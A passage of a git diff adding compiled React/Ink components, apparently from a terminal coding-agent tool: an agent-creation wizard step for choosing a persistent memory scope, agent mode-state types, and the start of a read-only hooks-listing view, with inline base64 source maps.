FBQ08sVUFBVSxDQUFDTyxNQUFNO1FBQzFDZ0IsWUFBWSxFQUFFOUIsVUFBVSxDQUFDTyxVQUFVLENBQUNPLE1BQU0sSUFBSSxNQUFNO1FBQ3BELElBQUlULFlBQVksR0FBRztVQUFFMEIsZ0JBQWdCLEVBQUU7UUFBSyxDQUFDLEdBQUcsQ0FBQyxDQUFDO01BQ3BELENBQUMsSUFBSWpELDBEQUEwRCxDQUFDO01BRWhFLE1BQU1nQixPQUFPLEdBQUdPLFlBQVksR0FDeEIsa0JBQWtCNUIsS0FBSyxDQUFDdUQsSUFBSSxDQUFDaEMsVUFBVSxDQUFDTyxVQUFVLENBQUNFLFNBQVMsQ0FBQyx5QkFBeUIsR0FDdEYsd0RBQXdELEdBQ3hELGtCQUFrQmhDLEtBQUssQ0FBQ3VELElBQUksQ0FBQ2hDLFVBQVUsQ0FBQ08sVUFBVSxDQUFDRSxTQUFTLENBQUMsRUFBRTtNQUNuRVosVUFBVSxDQUFDQyxPQUFPLENBQUM7SUFDckIsQ0FBQyxDQUFDLE9BQU9tQyxHQUFHLEVBQUU7TUFDWi9CLFlBQVksQ0FDVitCLEdBQUcsWUFBWUMsS0FBSyxHQUFHRCxHQUFHLENBQUNuQyxPQUFPLEdBQUcsc0JBQ3ZDLENBQUM7SUFDSDtFQUNGLENBQUMsRUFDRCxDQUFDRSxVQUFVLEVBQUVILFVBQVUsRUFBRU0sV0FBVyxDQUN0QyxDQUFDO0VBRUQsTUFBTWdDLFVBQVUsR0FBR3ZELFdBQVcsQ0FBQyxNQUFNd0IsU0FBUyxDQUFDLEtBQUssQ0FBQyxFQUFFLENBQUNBLFNBQVMsQ0FBQyxDQUFDO0VBRW5FLE1BQU1nQyxpQkFBaUIsR0FBR3hELFdBQVcsQ0FBQyxNQUFNd0IsU0FBUyxDQUFDLElBQUksQ0FBQyxFQUFFLENBQUNBLFNBQVMsQ0FBQyxDQUFDO0VBRXpFLE9BQ0UsQ0FBQyxXQUFXLENBQ1YsS0FBSyxDQUFDLENBQUNULEtBQUssQ0FBQyxDQUNiLGNBQWMsQ0FBQyxDQUFDQyxjQUFjLENBQUMsQ0FDL0IsTUFBTSxDQUFDLENBQUN1QyxVQUFVLENBQUMsQ0FDbkIsYUFBYSxDQUFDLENBQUNDLGlCQUFpQixDQUFDLENBQ2pDLEtBQUssQ0FBQyxDQUFDbkMsU0FBUyxDQUFDLEdBQ2pCO0FBRU4iLCJpZ25vcmVMaXN0IjpbXX0=
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/agents/new-agent-creation/wizard-steps/MemoryStep.tsx b/_all-in-one-upload/cc-haha/src/components/agents/new-agent-creation/wizard-steps/MemoryStep.tsx
new file mode 100644
index 0000000..56c951a
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/agents/new-agent-creation/wizard-steps/MemoryStep.tsx
@@ -0,0 +1,113 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { type ReactNode } from 'react';
+import { Box } from '../../../../ink.js';
+import { useKeybinding } from '../../../../keybindings/useKeybinding.js';
+import { isAutoMemoryEnabled } from '../../../../memdir/paths.js';
+import { type AgentMemoryScope, loadAgentMemoryPrompt } from '../../../../tools/AgentTool/agentMemory.js';
+import { ConfigurableShortcutHint } from '../../../ConfigurableShortcutHint.js';
+import { Select } from '../../../CustomSelect/select.js';
+import { Byline } from '../../../design-system/Byline.js';
+import { KeyboardShortcutHint } from '../../../design-system/KeyboardShortcutHint.js';
+import { useWizard } from '../../../wizard/index.js';
+import { WizardDialogLayout } from '../../../wizard/WizardDialogLayout.js';
+import type { AgentWizardData } from '../types.js';
+type MemoryOption = {
+  label: string;
+  value: AgentMemoryScope | 'none';
+};
+export function MemoryStep() {
+  const $ = _c(13);
+  const {
+    goNext,
+    goBack,
+    updateWizardData,
+    wizardData
+  } = useWizard();
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = {
+      context: "Confirmation"
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  useKeybinding("confirm:no", goBack, t0);
+  const isUserScope = wizardData.location === "userSettings";
+  let t1;
+  if ($[1] !== isUserScope) {
+    t1 = isUserScope ? [{
+      label: "User scope (~/.claude/agent-memory/) (Recommended)",
+      value: "user"
+    }, {
+      label: "None (no persistent memory)",
+      value: "none"
+    }, {
+      label: "Project scope (.claude/agent-memory/)",
+      value: "project"
+    }, {
+      label: "Local scope (.claude/agent-memory-local/)",
+      value: "local"
+    }] : [{
+      label: "Project scope (.claude/agent-memory/) (Recommended)",
+      value: "project"
+    }, {
+      label: "None (no persistent memory)",
+      value: "none"
+    }, {
+      label: "User scope (~/.claude/agent-memory/)",
+      value: "user"
+    }, {
+      label: "Local scope (.claude/agent-memory-local/)",
+      value: "local"
+    }];
+    $[1] = isUserScope;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  const memoryOptions = t1;
+  let t2;
+  if ($[3] !== goNext || $[4] !== updateWizardData || $[5] !== wizardData.finalAgent || $[6] !== wizardData.systemPrompt) {
+    t2 = value => {
+      const memory = value === "none" ? undefined : value as AgentMemoryScope;
+      const agentType = wizardData.finalAgent?.agentType;
+      updateWizardData({
+        selectedMemory: memory,
+        finalAgent: wizardData.finalAgent ? {
+          ...wizardData.finalAgent,
+          memory,
+          getSystemPrompt: isAutoMemoryEnabled() && memory && agentType ? () => wizardData.systemPrompt + "\n\n" + loadAgentMemoryPrompt(agentType, memory) : () => wizardData.systemPrompt
+        } : undefined
+      });
+      goNext();
+    };
+    $[3] = goNext;
+    $[4] = updateWizardData;
+    $[5] = wizardData.finalAgent;
+    $[6] = wizardData.systemPrompt;
+    $[7] = t2;
+  } else {
+    t2 = $[7];
+  }
+  const handleSelect = t2;
+  let t3;
+  if ($[8] === Symbol.for("react.memo_cache_sentinel")) {
+    t3 = <Byline><KeyboardShortcutHint shortcut={"\u2191\u2193"} action="navigate" /><KeyboardShortcutHint shortcut="Enter" action="select" /><ConfigurableShortcutHint action="confirm:no" context="Confirmation" fallback="Esc" description="go back" /></Byline>;
+    $[8] = t3;
+  } else {
+    t3 = $[8];
+  }
+  let t4;
+  if ($[9] !== goBack || $[10] !== handleSelect || $[11] !== memoryOptions) {
+    t4 = <WizardDialogLayout subtitle="Configure agent memory" footerText={t3}><Box><Select key="memory-select" options={memoryOptions} onChange={handleSelect} onCancel={goBack} /></Box></WizardDialogLayout>;
+    $[9] = goBack;
+    $[10] = handleSelect;
+    $[11] = memoryOptions;
+    $[12] = t4;
+  } else {
+    t4 = $[12];
+  }
+  return t4;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlJlYWN0Tm9kZSIsIkJveCIsInVzZUtleWJpbmRpbmciLCJpc0F1dG9NZW1vcnlFbmFibGVkIiwiQWdlbnRNZW1vcnlTY29wZSIsImxvYWRBZ2VudE1lbW9yeVByb21wdCIsIkNvbmZpZ3VyYWJsZVNob3J0Y3V0SGludCIsIlNlbGVjdCIsIkJ5bGluZSIsIktleWJvYXJkU2hvcnRjdXRIaW50IiwidXNlV2l6YXJkIiwiV2l6YXJkRGlhbG9nTGF5b3V0IiwiQWdlbnRXaXphcmREYXRhIiwiTWVtb3J5T3B0aW9uIiwibGFiZWwiLCJ2YWx1ZSIsIk1lbW9yeVN0ZXAiLCIkIiwiX2MiLCJnb05leHQiLCJnb0JhY2siLCJ1cGRhdGVXaXphcmREYXRhIiwid2l6YXJkRGF0YSIsInQwIiwiU3ltYm9sIiwiZm9yIiwiY29udGV4dCIsImlzVXNlclNjb3BlIiwibG9jYXRpb24iLCJ0MSIsIm1lbW9yeU9wdGlvbnMiLCJ0MiIsImZpbmFsQWdlbnQiLCJzeXN0ZW1Qcm9tcHQiLCJtZW1vcnkiLCJ1bmRlZmluZWQiLCJhZ2VudFR5cGUiLCJzZWxlY3RlZE1lbW9yeSIsImdldFN5c3RlbVByb21wdCIsImhhbmRsZVNlbGVjdCIsInQzIiwidDQiXSwic291cmNlcyI6WyJNZW1vcnlTdGVwLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgUmVhY3QsIHsgdHlwZSBSZWFjdE5vZGUgfSBmcm9tICdyZWFjdCdcbmltcG9ydCB7IEJveCB9IGZyb20gJy4uLy4uLy4uLy4uL2luay5qcydcbmltcG9ydCB7IHVzZUtleWJpbmRpbmcgfSBmcm9tICcuLi8uLi8uLi8uLi9rZXliaW5kaW5ncy91c2VLZXliaW5kaW5nLmpzJ1xuaW1wb3J0IHsgaXNBdXRvTWVtb3J5RW5hYmxlZCB9IGZyb20gJy4uLy4uLy4uLy4uL21lbWRpci9wYXRocy5qcydcbmltcG9ydCB7XG4gIHR5cGUgQWdlbnRNZW1vcnlTY29wZSxcbiAgbG9hZEFnZW50TWVtb3J5UHJvbXB0LFxufSBmcm9tICcuLi8uLi8uLi8uLi90b29scy9BZ2VudFRvb2wvYWdlbnRNZW1vcnkuanMnXG5pbXBvcnQgeyBDb25maWd1cmFibGVTaG9ydGN1dEhpbnQgfSBmcm9tICcuLi8uLi8uLi9Db25maWd1cmFibGVTaG9ydGN1dEhpbnQuanMnXG5pbXBvcnQgeyBTZWxlY3QgfSBmcm9tICcuLi8uLi8uLi9DdXN0b21TZWxlY3Qvc2VsZWN0LmpzJ1xuaW1wb3J0IHsgQnlsaW5lIH0gZnJvbSAnLi4vLi4vLi4vZGVzaWduLXN5c3RlbS9CeWxpbmUuanMnXG5pbXBvcnQgeyBLZXlib2FyZFNob3J0Y3V0SGludCB9IGZyb20gJy4uLy4uLy4uL2Rlc2lnbi1zeXN0ZW0vS2V5Ym9hcmRTaG9ydGN1dEhpbnQuanMnXG5pbXBvcnQgeyB1c2VXaXphcmQgfSBmcm9tICcuLi8uLi8uLi93aXphcmQvaW5kZXguanMnXG5pbXBvcnQgeyBXaXphcmREaWFsb2dMYXlvdXQgfSBmcm9tICcuLi8uLi8uLi93aXphcmQvV2l6YXJkRGlhbG9nTGF5b3V0LmpzJ1xuaW1wb3J0IHR5cGUgeyBBZ2VudFdpemFyZERhdGEgfSBmcm9tICcuLi90eXBlcy5qcydcblxudHlwZSBNZW1vcnlPcHRpb24gPSB7XG4gIGxhYmVsOiBzdHJpbmdcbiAgdmFsdWU6IEFnZW50TWVtb3J5U2NvcGUgfCAnbm9uZSdcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIE1lbW9yeVN0ZXAoKTogUmVhY3ROb2RlIHtcbiAgY29uc3QgeyBnb05leHQsIGdvQmFjaywgdXBkYXRlV2l6YXJkRGF0YSwgd2l6YXJkRGF0YSB9ID1cbiAgICB1c2VXaXphcmQ8QWdlbnRXaXphcmREYXRhPigpXG5cbiAgdXNlS2V5YmluZGluZygnY29uZmlybTpubycsIGdvQmFjaywgeyBjb250ZXh0OiAnQ29uZmlybWF0aW9uJyB9KVxuXG4gIGNvbnN0IGlzVXNlclNjb3BlID0gd2l6YXJkRGF0YS5sb2NhdGlvbiA9PT0gJ3VzZXJTZXR0aW5ncydcblxuICAvLyBCdWlsZCBvcHRpb25zIHdpdGggdGhlIHJlY29tbWVuZGVkIGRlZmF1bHQgZmlyc3QsIHRoZW4gYWx0ZXJuYXRpdmVzXG4gIC8vIFRoZSByZWNvbW1lbmRlZCBzY29wZSBtYXRjaGVzIHRoZSBhZ2VudCdzIGxvY2F0aW9uIChwcm9qZWN0IGFnZW50IOKGkiBwcm9qZWN0IG1lbW9yeSwgdXNlciBhZ2VudCDihpIgdXNlciBtZW1vcnkpXG4gIGNvbnN0IG1lbW9yeU9wdGlvbnM6IE1lbW9yeU9wdGlvbltdID0gaXNVc2VyU2NvcGVcbiAgICA/IFtcbiAgICAgICAge1xuICAgICAgICAgIGxhYmVsOiAnVXNlciBzY29wZSAofi8uY2xhdWRlL2FnZW50LW1lbW9yeS8pIChSZWNvbW1lbmRlZCknLFxuICAgICAgICAgIHZhbHVlOiAndXNlcicsXG4gICAgICAgIH0sXG4gICAgICAgIHsgbGFiZWw6ICdOb25lIChubyBwZXJzaXN0ZW50IG1lbW9yeSknLCB2YWx1ZTogJ25vbmUnIH0sXG4gICAgICAgIHsgbGFiZWw6ICdQcm9qZWN0IHNjb3BlICguY2xhdWRlL2FnZW50LW1lbW9yeS8pJywgdmFsdWU6ICdwcm9qZWN0JyB9LFxuICAgICAgICB7IGxhYmVsOiAnTG9jYWwgc2NvcGUgKC5jbGF1ZGUvYWdlbnQtbWVtb3J5LWxvY2FsLyknLCB2YWx1ZTogJ2xvY2FsJyB9LFxuICAgICAgXVxuICAgIDogW1xuICAgICAgICB7XG4gICAgICAgICAgbGFiZWw6ICdQcm9qZWN0IHNjb3BlICguY2xhdWRlL2FnZW50LW1lbW9yeS8pIChSZWNvbW1lbmRlZCknLFxuICAgICAgICAgIHZhbHVlOiAncHJvamVjdCcsXG4gICAgICAgIH0sXG4gICAgICAgIHsgbGFiZWw6ICdOb25lIChubyBwZXJzaXN0ZW50IG1lbW9yeSknLCB2YWx1ZTogJ25vbmUnIH0sXG4gICAgICAgIHsgbGFiZWw6ICdVc2VyIHNjb3BlICh+Ly5jbGF1ZGUvYWdlbnQtbWVtb3J5LyknLCB2YWx1ZTogJ3VzZXInIH0sXG4gICAgICAgIHsgbGFiZWw6ICdMb2NhbCBzY29wZSAoLmNsYXVkZS9hZ2VudC1tZW1vcnktbG9jYWwvKScsIHZhbHVlOiAnbG9jYWwnIH0sXG4gICAgICBdXG5cbiAgY29uc3QgaGFuZGxlU2VsZWN0ID0gKHZhbHVlOiBzdHJpbmcpOiB2b2lkID0+IHtcbiAgICBjb25zdCBtZW1vcnkgPSB2YWx1ZSA9PT0gJ25vbmUnID8gdW5kZWZpbmVkIDogKHZhbHVlIGFzIEFnZW50TWVtb3J5U2NvcGUpXG4gICAgY29uc3QgYWdlbnRUeXBlID0gd2l6YXJkRGF0YS5maW5hbEFnZW50Py5hZ2VudFR5cGVcbiAgICB1cGRhdGVXaXphcmREYXRhKHtcbiAgICAgIHNlbGVjdGVkTWVtb3J5OiBtZW1vcnksXG4gICAgICAvLyBVcGRhdGUgZmluYWxBZ2VudCB3aXRoIG1lbW9yeSBhbmQgcmV3aXJlIGdldFN5c3RlbVByb21wdCB0byBpbmNsdWRlIG1lbW9yeSBsb2FkaW5nLlxuICAgICAgLy8gRXhwbGljaXRseSBzZXQgbWVtb3J5IChub3QgY29uZGl0aW9uYWwgc3ByZWFkKSBzbyBzZWxlY3RpbmcgJ25vbmUnIGFmdGVyIGdvaW5nIGJhY2sgY2xlYXJzIGl0LlxuICAgICAgZmluYWxBZ2VudDogd2l6YXJkRGF0YS5maW5hbEFnZW50XG4gICAgICAgID8ge1xuICAgICAgICAgICAgLi4ud2l6YXJkRGF0YS5maW5hbEFnZW50LFxuICAgICAgICAgICAgbWVtb3J5LFxuICAgICAgICAgICAgZ2V0U3lzdGVtUHJvbXB0OlxuICAgICAgICAgICAgICBpc0F1dG9NZW1vcnlFbmFibGVkKCkgJiYgbWVtb3J5ICYmIGFnZW50VHlwZVxuICAgICAgICAgICAgICAgID8gKCkgPT5cbiAgICAgICAgICAgICAgICAgICAgd2l6YXJkRGF0YS5zeXN0ZW1Qcm9tcHQhICtcbiAgICAgICAgICAgICAgICAgICAgJ1xcblxcbicgK1xuICAgICAgICAgICAgICAgICAgICBsb2FkQWdlbnRNZW1vcnlQcm9tcHQoYWdlbnRUeXBlLCBtZW1vcnkpXG4gICAgICAgICAgICAgICAgOiAoKSA9PiB3aXphcmREYXRhLnN5c3RlbVByb21wdCEsXG4gICAgICAgICAgfVxuICAgICAgICA6IHVuZGVmaW5lZCxcbiAgICB9KVxuICAgIGdvTmV4dCgpXG4gIH1cblxuICByZXR1cm4gKFxuICAgIDxXaXphcmREaWFsb2dMYXlvdXRcbiAgICAgIHN1YnRpdGxlPVwiQ29uZmlndXJlIGFnZW50IG1lbW9yeVwiXG4gICAgICBmb290ZXJUZXh0PXtcbiAgICAgICAgPEJ5bGluZT5cbiAgICAgICAgICA8S2V5Ym9hcmRTaG9ydGN1dEhpbnQgc2hvcnRjdXQ9XCLihpHihpNcIiBhY3Rpb249XCJuYXZpZ2F0ZVwiIC8+XG4gICAgICAgICAgPEtleWJvYXJkU2hvcnRjdXRIaW50IHNob3J0Y3V0PVwiRW50ZXJcIiBhY3Rpb249XCJzZWxlY3RcIiAvPlxuICAgICAgICAgIDxDb25maWd1cmFibGVTaG9ydGN1dEhpbnRcbiAgICAgICAgICAgIGFjdGlvbj1cImNvbmZpcm06bm9cIlxuICAgICAgICAgICAgY29udGV4dD1cIkNvbmZpcm1hdGlvblwiXG4gICAgICAgICAgICBmYWxsYmFjaz1cIkVzY1wiXG4gICAgICAgICAgICBkZXNjcmlwdGlvbj1cImdvIGJhY2tcIlxuICAgICAgICAgIC8+XG4gICAgICAgIDwvQnlsaW5lPlxuICAgICAgfVxuICAgID5cbiAgICAgIDxCb3g+XG4gICAgICAgIDxTZWxlY3RcbiAgICAgICAgICBrZXk9XCJtZW1vcnktc2VsZWN0XCJcbiAgICAgICAgICBvcHRpb25zPXttZW1vcnlPcHRpb25zfVxuICAgICAgICAgIG9uQ2hhbmdlPXtoYW5kbGVTZWxlY3R9XG4gICAgICAgICAgb25DYW5jZWw9e2dvQmFja31cbiAgICAgICAgLz5cbiAgICAgIDwvQm94PlxuICAgIDwvV2l6YXJkRGlhbG9nTGF5b3V0PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxPQUFPQSxLQUFLLElBQUksS0FBS0MsU0FBUyxRQUFRLE9BQU87QUFDN0MsU0FBU0MsR0FBRyxRQUFRLG9CQUFvQjtBQUN4QyxTQUFTQyxhQUFhLFFBQVEs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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/agents/types.ts b/_all-in-one-upload/cc-haha/src/components/agents/types.ts
new file mode 100644
index 0000000..e8cf053
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/agents/types.ts
@@ -0,0 +1,27 @@
+import type { SettingSource } from 'src/utils/settings/constants.js'
+import type { AgentDefinition } from '../../tools/AgentTool/loadAgentsDir.js'
+
+export const AGENT_PATHS = {
+  FOLDER_NAME: '.claude',
+  AGENTS_DIR: 'agents',
+} as const
+
+// Base types for common patterns
+type WithPreviousMode = { previousMode: ModeState }
+type WithAgent = { agent: AgentDefinition }
+
+// Simplified state type using intersection types
+export type ModeState =
+  | { mode: 'main-menu' }
+  | { mode: 'list-agents'; source: SettingSource | 'all' | 'built-in' }
+  | ({ mode: 'agent-menu' } & WithAgent & WithPreviousMode)
+  | ({ mode: 'view-agent' } & WithAgent & WithPreviousMode)
+  | { mode: 'create-agent' }
+  | ({ mode: 'edit-agent' } & WithAgent & WithPreviousMode)
+  | ({ mode: 'delete-confirm' } & WithAgent & WithPreviousMode)
+
+export type AgentValidationResult = {
+  isValid: boolean
+  warnings: string[]
+  errors: string[]
+}
diff --git a/_all-in-one-upload/cc-haha/src/components/hooks/SelectHookMode.tsx b/_all-in-one-upload/cc-haha/src/components/hooks/SelectHookMode.tsx
new file mode 100644
index 0000000..cec6c6a
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/hooks/SelectHookMode.tsx
@@ -0,0 +1,112 @@
+import { c as _c } from "react/compiler-runtime";
+/**
+ * SelectHookMode shows all hooks configured for a given event+matcher pair.
+ *
+ * The /hooks menu is read-only: this view no longer offers "add new hook"
+ * and selecting a hook shows its read-only details instead of a delete
+ * confirmation.
+ */
+import * as React from 'react';
+import type { HookEvent } from 'src/entrypoints/agentSdkTypes.js';
+import type { HookEventMetadata } from 'src/utils/hooks/hooksConfigManager.js';
+import { Box, Text } from '../../ink.js';
+import { getHookDisplayText, hookSourceHeaderDisplayString, type IndividualHookConfig } from '../../utils/hooks/hooksSettings.js';
+import { Select } from '../CustomSelect/select.js';
+import { Dialog } from '../design-system/Dialog.js';
+type Props = {
+  selectedEvent: HookEvent;
+  selectedMatcher: string | null;
+  hooksForSelectedMatcher: IndividualHookConfig[];
+  hookEventMetadata: HookEventMetadata;
+  onSelect: (hook: IndividualHookConfig) => void;
+  onCancel: () => void;
+};
+export function SelectHookMode(t0) {
+  const $ = _c(19);
+  const {
+    selectedEvent,
+    selectedMatcher,
+    hooksForSelectedMatcher,
+    hookEventMetadata,
+    onSelect,
+    onCancel
+  } = t0;
+  const title = hookEventMetadata.matcherMetadata !== undefined ? `${selectedEvent} - Matcher: ${selectedMatcher || "(all)"}` : selectedEvent;
+  if (hooksForSelectedMatcher.length === 0) {
+    let t1;
+    if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+      t1 = <Box flexDirection="column" gap={1}><Text dimColor={true}>No hooks configured for this event.</Text><Text dimColor={true}>To add hooks, edit settings.json directly or ask Claude.</Text></Box>;
+      $[0] = t1;
+    } else {
+      t1 = $[0];
+    }
+    let t2;
+    if ($[1] !== hookEventMetadata.description || $[2] !== onCancel || $[3] !== title) {
+      t2 = <Dialog title={title} subtitle={hookEventMetadata.description} onCancel={onCancel} inputGuide={_temp}>{t1}</Dialog>;
+      $[1] = hookEventMetadata.description;
+      $[2] = onCancel;
+      $[3] = title;
+      $[4] = t2;
+    } else {
+      t2 = $[4];
+    }
+    return t2;
+  }
+  const t1 = hookEventMetadata.description;
+  let t2;
+  if ($[5] !== hooksForSelectedMatcher) {
+    t2 = hooksForSelectedMatcher.map(_temp2);
+    $[5] = hooksForSelectedMatcher;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
